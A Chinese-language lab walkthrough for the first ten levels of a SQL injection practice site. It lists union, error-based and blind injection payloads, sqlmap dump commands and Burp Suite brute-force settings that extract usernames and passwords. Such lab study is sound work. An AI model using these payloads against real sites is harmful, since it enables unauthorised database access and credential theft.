这里只是大概思路和步骤方法,没有具体原理和关卡哦
如有不对欢迎指正~❀
基础靶场——1~4
略
(union——联合注入)
//判断注入点
?id=1') and 1=1 --r
?id=1') order by 3/4 -- r
?id=-1') union select 1,2,3
//爆表名
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- r
//爆列名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- r
//爆数据
?id=-1') union select 1,2,group_concat(id,username,password) from users -- r
报错注入——5,6
//判断注入点同上
//爆表名
?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) -- r
//爆列名
?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1) -- r
//爆数据
?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from users)),1) -- r
//此时只能看见一部分数据
//加上限制精进一下:
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(id,0x7e,username,0x7e,password,0x7e) from users),10,31999)),1) -- r
函数:1.updataexml(目标xml内容,xml文件目录,更新的内容)
eg:(1,select....,1)(0x7e,select....,0x7e)————用1来替换1(或~),显现出中间路径,以此来作为注入
2.subtr(文件路径,开始处,个数)————截断函数
eg:((select....),1,1222)————从1开始取1222个,显示查到的字段(注意:要从1开始,因为数据库不从0开始,而是从1开始的)
盲注————7,8,9,10
一、布尔盲注
//猜数字(判断版本号)
?id=1' and substr(version(),1,1)=5 -- r
//猜数字(判断库长度)
?id=1' and length(database())=8 -- r
//猜字母(判断具体字母的ASCII)
?id=1' and ascii(substr(database(),1,1))=115 -- r
二、时间盲注
————使用burpsuite可能会直观一点,软件会显示反应了几秒。使用集束爆破,通过长度不同或者是否超时来筛选出正确信息
(缺点是会受到网络的影响,有误差)
//正确信息会延时五秒
?id=1' and sleep(5) -- r
//1=2处为注入点,(该语句的含义是:如果1=2为真,延时五秒;如果1=2为假,无变化正常反应)
?id=1' and if(1=2,sleep(10),null) -- r
接下来的操作与以往类似,在注入点进行盲注
简单粗暴的方法————
1.sqlmap注入
————直接无脑使用sqlmap,所有的都能跑出来(最简单,最没技术含量)
【此处需要配置python环境,有很多地方都可以找到,可以自行查找】
python sqlmap.py -u http://localhost:82/Less-8/?id=1 //cmd窗口 **判断有没有注入点**
依次开始查询:
-dbs //输出所有数据名
-D //指定某个数据库
-tables //输出指定数据库的所有表
-T //指定某个表
-columns //输出指定表的所有字段及类型
-C //输出指定的字段,可以是一个或多个以 “ ” 包裹起来,字段用 , (逗号)隔开
-dump //转储,拿数据
具体流程
//爆库名
python sqlmap.py -u http://localhost:82/Less-8/?id=1 -dbs
//选择一个库,爆表名
python sqlmap.py -u http://localhost:82/Less-8/?id=1 -D security -tables
//选择一个表,爆列名
python sqlmap.py -u http://localhost:82/Less-8/?id=1 -D security -T users -columns
//爆数据
python sqlmap.py -u http://localhost:82/Less-8/?id=1 -D security -T users -C "id,password,username" -dump
2.Burpsuite直接爆破
(此处为第七关布尔盲注的爆库名)
具体操作:
在位置:选择修改部分,添加payload位置,选择集束炸弹
在payload:设置1,2点的类型;起始位置;间隔
点1:类型:数值;从1到8(前面已经判断出库名长度为8);间隔为1
点2:类型:数值;从1到255(因为ASCII值从1到255);间隔为1
开始攻击,根据结果显示的长度不同判断出正确字母。(我的不知道为什么长度都一样,仅作参考)
其余步骤和时间盲注同理。
前十关就是基础的那些注入方式,用作学习示例。